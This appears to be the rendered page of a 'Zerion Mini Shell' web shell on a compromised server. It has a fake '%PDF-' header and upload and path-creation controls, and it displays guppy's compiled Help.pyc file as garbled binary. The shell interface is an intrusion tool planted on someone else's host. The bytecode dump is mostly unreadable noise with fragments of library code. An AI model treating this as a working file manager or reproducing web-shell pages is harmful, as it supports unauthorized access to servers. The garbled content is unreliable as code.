%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib64/python3.7/site-packages/guppy/etc/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib64/python3.7/site-packages/guppy/etc/__pycache__/Help.cpython-37.pyc

B

�]��@sbddlZddlZddlZej�e�ZGdd�d�ZGdd�d�ZGdd�de	�Z
Gdd	�d	�ZdS)
�Nc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�GuppyDoccCs&||_|dkrd}|�|�}||_dS)Nz???)�mod�_substitute�str)�selfrr�r�A/opt/alt/python37/lib64/python3.7/site-packages/guppy/etc/Help.py�__init__s

zGuppyDoc.__init__cCs�i}d}xr|j�d�D]b}|dkr*d}qn|s0q|��}|�d�sFt�|�d�}|d|�}||dd���|t|�<qW||}|j�|�}|j�	|�S)NF�
Z
ReferencesT�[�]�)
r�split�strip�
startswith�AssertionError�index�intr�docurl�open_browser)r�idxZrefsZrefline�lineZrefstop�ref�urlrrr�__getitem__s 
 zGuppyDoc.__getitem__cCs8|j�d�}g}x|D]}|s P|�|�qWd�|�S)Nr
)rr�append�join)r�lines�headerrrrr�	getheader&s
zGuppyDoc.getheadercCs |jjjjjj}|�d|�}|S)Nz$HP.)rZ_rootZguppyZheapyZUseZreprefix�replace)rrZrprrrr/szGuppyDoc._substitutecCs|jS)N)r)rrrr�__repr__4szGuppyDoc.__repr__N)�__name__�
__module__�__qualname__r	rrrr!rrrrr
s
		rc@s&eZdZdd�Zd
dd�Zdd�Zd	S)�ListercCst��|_dS)N)�io�StringIO�output)rrrrr	9szLister.__init__��Pc	
Cs�|dd�}||}t|�|d|}x�t|�D]z}xht|�D]\}|||}|t|�kr@|j�||�||dkr@|j�dd|dt||��q@W|j�d�q2W|S)Nr
� r
)�len�ranger(�write)	r�items�columns�widthZcolwZrows�row�col�irrr�list<s(zLister.listcCs
|j��S)N)r(�getvalue)rrrrr6JszLister.getvalueN)r)r*)r"r#r$r	r5r6rrrrr%8s
r%c@s8eZdZd
dd�Zddd�Zdd�Zd	d
�Zdd�ZdS)�GuppyDir�cKs"||_||_||_||_||_dS)N)�li�objr�opts�kwds)rr9r:rr;r<rrrr	Os
zGuppyDir.__init__NcCs0|j}|j}|j}|dkr |j}|�||||�S)N)r9r:rr;�	__class__)rr;r9r:rrrr�__call__VszGuppyDir.__call__cCs|j�|j|�S)N)r�getdoc2r:)r�attrrrr�__getattr__^szGuppyDir.__getattr__cCs
|j|S)N)r9)rrrrrraszGuppyDir.__getitem__cCs�|j}d|krFd}x�|jD]&}|d|dtt||��d7}qWnjd|kr�d}x\|jD]:}t||���}|�|�s�|�d|�s�|}||d7}qZWnt��|j����	�}|j
�dd�}|r�|d	7}|j
�d
d�}|r�d	|}|||}|S)N�Lr8z*** z ***
z

�lzx.rr
�footer)r;r9�repr�getattrrrr%r5r6�rstripr<�get)rr;�r�d�trrDrrrr!ds*(zGuppyDir.__repr__)r8)N)r"r#r$r	r>rArr!rrrrr7Ns


r7c@s^eZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zdd�ZdS)�_GLUECLAMP_Nr8cs(y
|j}Wn tk
r*|j||f|�SX|j}t|dd�}|dk	rPt|�}n�g}t|dd��y
|j}Wntk
r~YnXx6|D].}|�d�}	|	dkr�q�|�||	dd��q�WxBt	|�D]6}
|
�
d�r�|�|
dd��q�|
�
d	�s�|�|
�q�W�fd
d�|D�}|��t||||f|�S)NZ_dir_Z	_private_r�:���r
�_get_��_csg|]}|�kr|�qSrr)�.0rJ)�privaterr�
<listcomp>�sz#_GLUECLAMP_.dir.<locals>.<listcomp>)
�_share�AttributeError�getdir_no_share�ClamprFr5�	_imports_�findr�dirr�sortr7)rr:r;r<�share�clamp�dl�imports�imp�ix�gmr)rSrr[~s6






z_GLUECLAMP_.dircKs(t|�}dd�|D�}t||||f|�S)NcSsg|]}|�d�s|�qS)rQ)r)rRrJrrrrT�sz/_GLUECLAMP_.getdir_no_share.<locals>.<listcomp>)r[r7)rr:r;r<r_rrrrW�sz_GLUECLAMP_.getdir_no_sharec	Cs�y
|j}Wntk
r&|�||�SX|jj}y
|j}Wntk
rNYnJXxF|D]>}|�d�}|dkrnqV||dd�|krV|�|||||�SqVWxJt|�D]>}|�d�r�|dd�|kr�|�	||�S||kr�|�
||�Sq�Wt|d�S)NrMrNr
rOrPz???)rUrV�getdoc_no_sharerXrYrZ�
getdoc_importr[r�getdoc__get_�getdoc_otherr)	rr:�namer]r^r`rarbrcrrrr?�s*



z_GLUECLAMP_.getdoc2cCsfyt|d|�}Wntk
r&YnXt||�S|j}t||�}t|t�rR|}n
t||�}|�|�S)N�_doc_)rFrVrr=�
isinstance�property�
getdoc_obj)rr:rh�docZcl�pZdocobjrrrrd�s



z_GLUECLAMP_.getdoc_no_sharecCst||�}|j}t||�S)N)rF�__doc__r)rr^rc�funcrmrrrrf�s
z_GLUECLAMP_.getdoc__get_cCsLd}t|d|�r"t|d|�}n t|||dd��}t|d�}t||�S)Nr8rir
ro)�hasattrrFr)rr:r^rhrarbrmZimpobjrrrre�s
z_GLUECLAMP_.getdoc_importcCs t�|�}|dkrd}t||�S)Nz???)�inspect�getdocr)rr:rmrrrrl�s
z_GLUECLAMP_.getdoc_objcCsnt||�}t�|�}|r"t||�Syt|d|�}Wntk
rLd}YnX|dkrZd}td|�t||�S)Nrir8�?rm)rFrrrsrrV�print)rr:rhr@rmrrrrg�s




z_GLUECLAMP_.getdoc_othercCsd|}|S)Nz&https://zhuyifei1999.github.io/guppy3/r)rrrrrr�sz_GLUECLAMP_.docurlcCsddl}|�|�dS)Nr)�
webbrowser�open)rrrvrrrr�sz_GLUECLAMP_.open_browser)Nr8)
r"r#r$r[rWr?rdrfrerlrgrrrrrrrL}s
	rL)r&rr�os�path�dirname�__file__ZTHISDIRrr%�objectr7rLrrrr�<module>s./

Zerion Mini Shell 1.0